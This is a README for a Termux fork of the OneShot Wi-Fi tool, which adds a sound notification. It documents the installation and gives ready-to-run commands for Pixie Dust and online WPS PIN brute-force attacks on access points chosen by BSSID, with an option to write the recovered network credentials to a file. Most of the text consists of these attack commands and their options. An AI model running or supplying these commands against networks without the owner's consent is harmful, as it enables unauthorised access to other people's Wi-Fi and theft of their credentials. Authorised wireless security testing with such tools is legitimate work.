OneShot for Termux with vibro/sound notification

FIRST!

pkg install play audio

[For sound notification (line #1041) you can use your own audio file "sonar.mp3"]

OneShot_Notification_Mod/oneshot.py

Line 1041 in 0f398bd

proc = subprocess.Popen('play-audio sonar.mp3', shell=True)

Termux: nano -l +1041 oneshot.py > make changes > Ctrl+o > Ctrl+x or simply replace sonar.mp3 with your *.mp3 file

Overview

OneShot performs Pixie Dust attack without having to switch to monitor mode.

Features

• Pixie Dust attack;
• integrated 3WiFi offline WPS PIN generator;
• online WPS bruteforce;
• Wi-Fi scanner with highlighting based on iw;

Requirements

• Python 3.6 and above;
• Wpa supplicant;
• Pixiewps;
• iw.

Setup

Termux

Please note that root access is required.

Installing requirements

pkg install -y root-repo
pkg install -y git tsu python wpa-supplicant pixiewps iw openssl play-audio

Getting OneShot

git clone --depth 1 https://github.com/jevgenyonegin/OneShot_Termux_mod OneShot

Running

sudo python OneShot/oneshot.py -i wlan0 --iface-down -K

Usage

 oneshot.py <arguments>
 Required arguments:
     -i, --interface=<wlan0>  : Name of the interface to use

 Optional arguments:
     -b, --bssid=<mac>        : BSSID of the target AP
     -p, --pin=<wps pin>      : Use the specified pin (arbitrary string or 4/8 digit pin)
     -K, --pixie-dust         : Run Pixie Dust attack
     -B, --bruteforce         : Run online bruteforce attack
     --pbc                    : Run WPS push button connection

 Advanced arguments:
     -d, --delay=<n>          : Set the delay between pin attempts [0]
     -w, --write              : Write AP credentials to the file on success
     -F, --pixie-force        : Run Pixiewps with --force option (bruteforce full range)
     -X, --show-pixie-cmd     : Alway print Pixiewps command
     --vuln-list=<filename>   : Use custom file with vulnerable devices list ['vulnwsc.txt']
     --iface-down             : Down network interface when the work is finished
     -l, --loop               : Run in a loop
     --mtk-wifi               : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
                                (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
     -v, --verbose            : Verbose output

Usage examples

Start Pixie Dust attack on a specified BSSID:

sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -K

Show avaliable networks and start Pixie Dust attack on a specified network:

sudo python3 oneshot.py -i wlan0 -K

Launch online WPS bruteforce with the specified first half of the PIN:

sudo python3 oneshot.py -i wlan0 -b 00:90:4C:C1:AC:21 -B -p 1234

Troubleshooting

"RTNETLINK answers: Operation not possible due to RF-kill"

Just run: sudo rfkill unblock wifi

"Device or resource busy (-16)"

Try disabling Wi-Fi in the system settings and kill the Network manager. Alternatively, you can try running OneShot with --iface-down argument.

The wlan0 interface disappears when Wi-Fi is disabled on Android devices with MediaTek SoC

Try run the following:

sudo chmod 644 /dev/wmtWifi
sudo sh -c 'echo 1 > /dev/wmtWifi'

Acknowledgements

Special Thanks

• rofl0r for initial implementation;
• drygdryg for developing OneShot;
• Monohrom for testing, help in catching bugs, some ideas;
• Wiire developing Pixiewps;
• eda-abec for vulwsc updates and support;
• vilvius31 for project support;